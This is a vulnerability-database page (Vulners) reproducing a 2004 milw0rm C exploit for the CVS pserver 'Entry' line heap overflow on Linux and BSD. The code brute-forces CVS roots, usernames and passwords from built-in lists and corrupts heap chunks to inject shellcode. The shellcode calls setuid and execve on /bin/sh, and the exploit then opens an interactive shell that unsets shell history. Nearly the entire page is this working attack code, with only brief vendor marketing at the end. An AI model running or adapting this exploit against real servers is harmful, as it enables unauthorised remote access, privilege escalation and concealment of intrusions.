Vulners
Lucene search
CVS (Linux/FreeBSD) - Remote Entry Line Heap Overflow
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>
typedef unsigned char uchar;
void progress(void);
int brute_cvsroot(void);
int brute_username(void);
int brute_password(void);
void hdl_crashed(int);
void bsd_exploitation(void);
void try_exploit(void);
void zflush(int);
int zprintf(char *, ...);
int zgetch(void);
void start_gzip(void);
void fill_holes(void);
char * zgets(void);
void evil_entry(void);
void linux_exploitation(ulong, int);
void do_dicotomie(void);
void do_xploit(void);
char * flush_sock(void);
void usage(char *);
long getip(char *);
void try_oneshoot(void);
int connect_to_host(char *, int);
int write_sock(void *, int);
int read_sock(void *, int);
void nopen(char *, int);
char * ngets(void);
void memcpy_flush(void);
void cvs_conn(void);
int detect_remote_os(void);
void memcpy_remote(ulong, ulong, uchar *, int);
void memcpy_addr(ulong, ulong, int);
void nclose(void);
char * scramble(char *);
int sh(int);
struct array
{
char * name;
int id;
};
struct array CVSROOTS[]=
{
{ "/cvs" , -1 },
{ "/cvsroot" , -1 },
{ "/var/cvs" , -1 },
{ "/anoncvs" , -1 },
{ "/repository" , -1 },
{ "/home/CVS" , -1 },
{ "/home/cvspublic" , -1 },
{ "/home/cvsroot" , -1 },
{ "/var/lib/cvs" , -1 },
{ "/var/cvsroot" , -1 },
{ "/usr/lib/cvs" , -1 },
{ "/usr/CVSroot" , -1 },
{ "/usr/share/cvsroot" , -1 },
{ "/usr/local/cvsroot" , -1 },
{ "/usr/local/cvs" , -1 },
{ "/webcvs" , -1 },
{ NULL , -1 },
};
struct array USERNAMES[]=
{
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "cvsread" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ "reader" , -1 },
{ "cvslogin" , -1 },
{ "anon-cvs" , -1 },
{ NULL , -1 },
};
struct array PASSWORDS[]=
{
{ "" , -1 },
{ " " , -1 },
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ NULL , -1 },
};
#define HIGH_STACK 0xbfffffc0
#define LOWER_STACK 0xbfffd000
#define DEFAULT_ADDR 0xbffffd00
#define RANGE_VALID 0xbffffe00
#define DUMMY_ADDR 0x42424242
#define LINUX_ADDR 0xbfffe200
#define LINUX_SIZE 0x2000
#define HEAPBASE 0x082c512e
#define DEFAULT_TIMEOUT 20
#define TIMEOUT DEFAULT_TIMEOUT
#define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
"/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
"unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
"echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT "\033[32m"
#define NORM "\033[0m"
#define INFO ""
#define BAD_TRIP "WRONG !\n"
#define GOOD_TRIP VERT"FOUND"NORM" !\n"
#define QUIT(x...) { printf(x); exit(0); }
#ifdef DEBUGMSG
#define DEBUG(x...) fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...) fprintf(stderr, INFO""fmt)
#define aff(fmt...) fprintf(stderr, fmt)
static char tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn) read_sock(sock, buf, cn)
#define NHOLES (256 - 31)
#define SCNUM 128
#define SCSIZE 32766
#define OFFSET 106
#define ALIGN(x, y) ((x % y) ? x + (x % y) : x)
#define SET_FD(x) (x - CHUNK_BK)
#define SET_BK(x) (x - CHUNK_FD)
#define UNSET_BK(x) (x + CHUNK_FD)
#define UNSET_FD(x) (x + CHUNK_BK)
#define MAX_FILL_HEAP 200
#define NUM_OFF7 (sizeof("Entry "))
#define MSIZE 0x4c
#define MALLOC_CHUNKSZ 8
#define AN_ENTRYSZ 8
#define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF FAKECHUNK + 16
#define SIZE_VALUE -8
#define CHUNK_PSIZE 0
#define CHUNK_SIZE 4
#define CHUNK_FD 8
#define CHUNK_BK 12
#define OVERFLOW_NUM 8
#define DEFAULT_SIZE 0x300
#define SHELLCODE_OFF 0x142
#define SHELLCODE_ADDR (addr - SHELLCODE_OFF)
#define DUMMY2 "timetosleep"
#define DUMMY "theosuxdick"
#define MAGICSTRING "abroxyou"
#define ABMAGIC "-AB-"
#define ABMAGICSZ sizeof(ABMAGIC) - 1
#define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT 20
#define CVS_PORT 2401
#define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
"END AUTH REQUEST\n"
#define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
"END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS "I LOVE YOU"
#define CVS_BAD_REP "no such repository"
#define CVS_NO_USER "no such user"
#define CVSENTRY "Entry "
#define CVS_ISMOD "Is-modified "
#define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW "unrecognized request"
#define CVS_ERROR "error"
#define CVS_ERROR2 "E "
#define CVS_GZIP "Gzip-stream "
#define CVS_OK "ok"
#define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT "unable to found a valid cvsroot\n"
#define ERR_USERNAME "unable to found a valid username\n"
#define ERR_PASSWORD "unable to found a valid password\n"
#define ERR_FAILURE "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED "Fatal: authentification failure..\n"
#define ERR_ZPRINTF "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE "Inflate error\n"
#define ERR_CONN "cannot connect\n"
#define ERR_GETIP "cannot resolve\n"
#define ERR_READSOCK "cannot read data\n"
#define ERR_WRITESOCK "cannot write data\n"
#define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
|| (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
(x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
(x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char zbuf[65536 * 4];
int zbufpos;
int cur_num = 0;
int is_scramble = 0;
int detectos = 0;
int sock = 0;
int port = CVS_PORT;
ulong saddr = DEFAULT_ADDR;
uint size = DEFAULT_SIZE;
int timeout = DEFAULT_TIMEOUT;
int scnum = SCNUM;
ulong heapbase = HEAPBASE;
int isbsd = 0;
int usent = 0;
int zsent = 0;
char *root = NULL;
char *user = NULL;
char *pass = NULL;
char *host = NULL;
z_stream zout;
z_stream zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";
void usage(char * base)
{
printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
exit(0);
}
int main(int ac, char **av)
{
int c;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf(BANNER);
while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
{
switch(c)
{
case 'b':
isbsd++;
break;
case 'R':
detectos++;
break;
case 'r':
root = strdup(optarg);
break;
case 'i':
is_scramble = 1;
break;
case 's':
saddr = strtoul(optarg, 0, 0);
break;
case 't':
timeout = strtoul(optarg, 0, 0);
break;
case 'S':
size = strtoul(optarg, 0, 0);
break;
case 'u':
user = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
case 'P':
port = strtoul(optarg, 0, 0);
break;
case 'o':
heapbase = strtoul(optarg, 0, 0);
break;
case 'n':
scnum = strtoul(optarg, 0, 0);
break;
default:
usage(av[0]);
}
}
if (!host || (detectos && isbsd))
usage(av[0]);
if (!root)
if(!brute_cvsroot())
QUIT(ERR_CVSROOT);
if (!user)
if(!brute_username())
QUIT(ERR_USERNAME);
if (!pass)
if(!brute_password())
QUIT(ERR_PASSWORD);
do_xploit();
return (0);
}
void do_xploit(void)
{
int linux_only = 0;
signal(SIGPIPE, hdl_crashed);
if (detectos)
linux_only = detect_remote_os();
if (isbsd)
bsd_exploitation();
else
{
linux_exploitation(LINUX_ADDR, LINUX_SIZE);
if (!linux_only)
bsd_exploitation();
}
printf(ERR_FAILURE);
return;
}
int detect_remote_os(void)
{
info("Guessing if remote is a cvs on a linux/x86...\t");
if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
!range_crashed(0x42424242, 0x42424242 + 4))
{
printf(VERT"NO"NORM", assuming it's *BSD\n");
isbsd = 1;
return (0);
}
printf(VERT"Yes"NORM" !\n");
return (1);
}
void bsd_exploitation(void)
{
printf("Exploiting %s on a *BSD\t", host);
do_auth();
fill_holes();
evil_entry();
start_gzip();
try_exploit();
}
void linux_exploitation(ulong addr, int sz)
{
char * buf;
printf("Exploiting %s on a Linux\t", host);
cvs_conn();
fflush(stdout);
memcpy_addr(addr, SHELLCODE_ADDR, sz);
memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
sizeof(ab_shellcode) - 1);
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, MAGICSTRING))
{
printf(EXPLOITROX);
sh(sock);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
info(BAD_TRIP);
}
int do_auth(void)
{
char * your_mind;
nopen(host, port);
nprintf(CVS_LOGIN, root, user, scramble(pass));
your_mind = flush_sock();
if (!strstr(your_mind, CVS_AUTH_SUCCESS))
QUIT(ERR_AUTHFAILED);
free(your_mind);
nprintf(CVS_SEND_ROOT, root);
}
void fill_heap(void)
{
int c;
for (c = 0; c != MAX_FILL_HEAP; c++)
nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
"CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
nprintf(CVSENTRY"CC/CC/CC\n");
}
void cvs_conn(void)
{
do_auth();
fill_heap();
}
char * get_dummy(void)
{
static char buf[2048] = { '\0' };
memset(buf, '\0', sizeof(buf));
sprintf(buf, CVSENTRY"B%s/", DUMMY2);
memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
strcat(buf, "/\n");
return (&buf[0]);
}
char * build_chunk(ulong addr1, ulong addr2, int i)
{
char num[20];
char * buf = get_dummy();
if (i != -1)
{
sprintf(num, "%d", i);
memcpy(buf + NUM_OFF7, num, strlen(num));
}
*(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
*(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
*(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
return (buf);
}
void memcpy_flush(void)
{
int i = 0, j;
char * buf;
char num[20];
if (!cur_num)
return;
buf = get_dummy();
for (i = 0; i != cur_num - 1; i++)
{
sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
sprintf(num, "%d", i);
memcpy(buf + CVS_ISMODSZ, num, strlen(num));
for (j = 0; j != OVERFLOW_NUM; j++)
nprintf(buf);
}
return;
}
void memcpy_remote(ulong range, ulong addr, uchar * buf,
int sz)
{
int i;
if (sz <= 0)
return ;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
{
range &= 0xFFFFFF00;
range += buf[i];
if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
}
return;
}
void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
int aff = (sz / 4) / PCNT, j;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
putchar('[');
for (j = 0; j != PCNT; j++)
putchar(' ');
putchar(']');
for (j = 0; j != PCNT + 1; j++)
putchar('\b');
fflush(stdout);
for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
{
if (j == aff)
{
putchar('#');
fflush(stdout);
j = 0;
}
if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
}
printf("#\t");
fflush(stdout);
return;
}
int range_crashed(int addr, int addr2)
{
char * buf;
cvs_conn();
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (; addr < addr2; addr += 8)
if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
nprintf(build_chunk(addr, addr + 4, cur_num++));
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
|| strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
{
nclose();
return (0);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
return (1);
}
void zflush(int finish)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
QUIT("zflush : deflate failed !\n");
zsent += sizeof(outbuf) - zout.avail_out;
write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_out == 0 && zout.avail_in != 0);
zbufpos = 0;
return;
}
int zprintf(char *fmt, ...)
{
static char buf[65536];
int len;
va_list ap;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
usent += len;
if ((sizeof(zbuf) - zbufpos) < (len))
zflush(0);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
QUIT(ERR_ZPRINTF);
return (len);
}
int zgetch(void)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos < outlen && outlen)
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read_sock(rcvbuf, sizeof(rcvbuf));
if (got <= 0)
QUIT(ERR_READSOCK);
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
QUIT(ERR_INFLATE);
}
}
}
char * zgets(void)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch();
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
void start_gzip(void)
{
nprintf(CVS_GZIP"1\n");
deflateInit(&zout, 9);
inflateInit(&zin);
return;
}
void fill_holes(void)
{
int i, j;
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < NHOLES; i++)
{
nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (j = 0; j < 5; j++)
nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
}
nprintf("Set x=%472X\n", 10);
return;
}
void evil_entry(void)
{
int i;
ulong heap = heapbase;
nprintf("Set x=\n");
nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}
void try_exploit(void)
{
time_t last, now;
int i, j, len, o;
static char sc[SCSIZE+1];
for (i = 0; i < OFFSET; i++)
zprintf(CVS_ISMOD"AB\n");
printf("[", SCSIZE * scnum / 1024);
for (i = 0; i < PCNT; i++)
putchar(' ');
printf("]");
for (i = 0; i < PCNT + 1; i++)
printf("\b");
memset(sc, 'A', SCSIZE);
memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
sizeof(xx_shellcode));
sc[SCSIZE] = 0;
last = o = 0;
for (i = 0; i < scnum; i++)
{
now = time(NULL);
if (now > last || (i + 1 == scnum))
{
last = now;
for (j = 0; j < o; j++)
printf("\b");
for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
printf("#");
}
zprintf(CVSENTRY"%s\n", sc);
}
printf("] ");
zflush(0);
zflush(1);
len = read_sock(sc, sizeof(sc));
for (i = 0; i < len; i++)
if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
{
printf(EXPLOITROX);
sh(sock);
}
printf(BAD_TRIP);
}
int brute_cvsroot(void)
{
int i, ret = 0;
char * rbuf;
info("Bruteforcing cvsroot...\n");
for (i = 0; CVSROOTS[i].name; i++)
{
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
rbuf = flush_sock();
nclose();
if (!rbuf || strstr(rbuf, CVS_BAD_REP))
info(BAD_TRIP);
else if (strstr(rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS) ||
strstr(rbuf, CVS_NO_USER))
{
info(GOOD_TRIP);
CVSROOTS[i].id = i;
root = CVSROOTS[i].name;
if (user && pass)
{
free(rbuf);
return (1);
}
ret++;
}
else
printf(BAD_TRIP);
free(rbuf);
}
return (ret);
}
int brute_username(void)
{
int i, c, ret = 0;
char * rbuf;
info("Bruteforcing cvs login... \n");
for (c = 0; CVSROOTS[c].name; c++)
{
if (!root && CVSROOTS[c].id == -1) continue;
for ( i=0; USERNAMES[i].name; i++ )
{
if (root)
CVSROOTS[c].name = root;
info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
USERNAMES[i].name);
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
scramble(DUMMY));
rbuf = flush_sock();
nclose();
if ( strstr( rbuf, CVS_NO_USER))
info( BAD_TRIP, rbuf );
else if (strstr( rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
USERNAMES[i].id = CVSROOTS[c].id;
user = USERNAMES[i].name;
if (pass)
{
free(rbuf);
return (1);
}
ret++;
}
free(rbuf);
}
if (root)
return (ret);
}
return (ret);
}
int brute_password(void)
{
int i, c, ret=0;
char * rbuf;
info("Bruteforcing cvs password...\n");
for (c = 0; USERNAMES[c].name; c++)
{
if (!user && USERNAMES[c].id == -1) continue;
for (i = 0; PASSWORDS[i].name; i++)
{
info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
PASSWORDS[i].name);
nopen(host, port);
nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
rbuf = flush_sock();
nclose();
if (strstr(rbuf, CVS_AUTH_FAILED))
info(BAD_TRIP, rbuf);
else if (strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
if (!root)
root = CVSROOTS[ USERNAMES[c].id ].name;
if (!user)
user = USERNAMES[c].name;
pass = PASSWORDS[i].name;
free(rbuf);
printf(SUCCESS_LOGON, user, pass, root);
return (1);
}
else
info(BAD_TRIP);
free(rbuf);
}
if (user)
return (0);
}
return (0);
}
void hdl_crashed(int signum)
{
return;
}
int write_sock(void * buf, int sz)
{
fd_set wfds;
struct timeval tv;
int ret;
if (sz <= 0)
return (sz);
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
{
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
tv.tv_sec = timeout;
tv.tv_usec = 0;
}
if ((ret = write(sock, buf, sz)) != sz)
QUIT(ERR_WRITESOCK);
return (ret);
}
int read_sock(void * buf, int sz)
{
fd_set rd;
struct timeval tv;
int ret;
FD_ZERO(&rd);
FD_SET(sock, &rd);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = ret = 0;
if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
QUIT(ERR_READSOCK);
if ((ret = read(sock, buf, sz)) <= 0)
return (ret);
}
char * flush_sock(void)
{
char * ret;
int len, y, i = 0;
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sock, &rfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
#define BUF_SIZE 42
ret = malloc((len = BUF_SIZE));
if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
return ("");
while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
{
i += y;
ret = realloc(ret, (len += BUF_SIZE));
}
if (i == len)
realloc(ret, len + 1);
ret[i] = 0;
return (ret);
}
long getip(char * hostname)
{
struct hostent * p_hostent;
long ipaddr;
ipaddr = inet_addr( hostname );
if (ipaddr < 0)
{
p_hostent = gethostbyname(hostname);
if (p_hostent == NULL)
QUIT(ERR_GETIP);
memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
}
return(ipaddr);
}
int connect_to_host(char * host, int port)
{
struct sockaddr_in s_in;
memset( &s_in, '\0', sizeof(struct sockaddr_in) );
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = getip( host );
s_in.sin_port = htons( port );
if ((sock = socket( AF_INET, SOCK_STREAM, 0 )) <= 0)
QUIT(ERR_CONN);
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
QUIT (ERR_CONN);
#ifdef SHITTEST
sleep(15);
#endif
fcntl(sock, F_SETFL, O_NONBLOCK);
return (sock);
}
void nopen(char * host, int port)
{
connect_to_host(host, port);
cur_num = 0;
return;
}
void nclose(void)
{
cur_num = 0;
close(sock);
return;
}
unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char * scramble(char * str)
{
int i;
char * s;
if (is_scramble)
return (str);
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = shifts[(unsigned char)(str[i - 1])];
return (s);
}
int sh(int sockfd)
{
int cnt;
char buf[1024];
fd_set fds;
write(sockfd, CMD, strlen(CMD));
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
{
if(FD_ISSET(0, &fds))
{
if((cnt = read(0, buf, 1024)) < 1)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(sockfd, buf, cnt);
}
if(FD_ISSET(sockfd, &fds))
{
if((cnt = read(sockfd, buf, 1024)) < 1)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(1, buf, cnt);
}
}
}
exit(0);
}
// milw0rm.com [2004-06-25]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jun 2004 00:00Current
7.4High risk
Vulners AI Score7.4